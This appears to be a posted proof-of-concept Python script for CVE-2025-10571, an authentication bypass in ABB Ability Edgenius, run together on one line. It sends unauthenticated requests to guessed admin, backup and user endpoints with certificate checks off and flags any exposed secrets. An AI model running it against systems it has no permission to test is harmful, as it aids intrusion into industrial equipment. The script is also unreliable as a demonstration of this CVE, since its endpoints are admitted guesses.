CVE-2025-10571 | ABB Ability Edgenius 认证绕过漏洞

# CVE-2025-10571 PoC - ABB Ability Edgenius Authentication Bypass # Note: This is a conceptual PoC for educational and security research purposes only import requests import sys def check_vulnerability(target_url): """ Check if the target ABB Ability Edgenius is vulnerable to CVE-2025-10571 """ # Common endpoints that might be affected endpoints = [ '/api/system/status', '/api/config/backup', '/api/admin/users', '/api/v2/edges', '/management/sessions' ] headers = { 'User-Agent': 'Mozilla/5.0 (compatible; SecurityScanner/1.0)', 'X-Requested-With': 'XMLHttpRequest' } print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2025-10571 - Authentication Bypass in ABB Ability Edgenius\n") for endpoint in endpoints: url = target_url.rstrip('/') + endpoint try: # Send request without authentication response = requests.get(url, headers=headers, timeout=10, verify=False) if response.status_code == 200: print(f"[+] VULNERABLE: {endpoint}") print(f" Status: {response.status_code}") print(f" Response length: {len(response.text)} bytes") # Check for sensitive data exposure if 'password' in response.text.lower() or 'secret' in response.text.lower(): print(f" [!] WARNING: Potential sensitive data exposed!") elif response.status_code == 401: print(f"[-] Protected: {endpoint} (401 Unauthorized)") else: print(f"[?] Unexpected: {endpoint} ({response.status_code})") except requests.exceptions.RequestException as e: print(f"[!] Error testing {endpoint}: {str(e)}") print("\n[*] Scan complete. If vulnerabilities found, report to vendor immediately.") if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python cve-2025-10571_poc.py <target_url>") print("Example: python cve-2025-10571_poc.py https://192.168.1.100") sys.exit(1) target = sys.argv[1] check_vulnerability(target)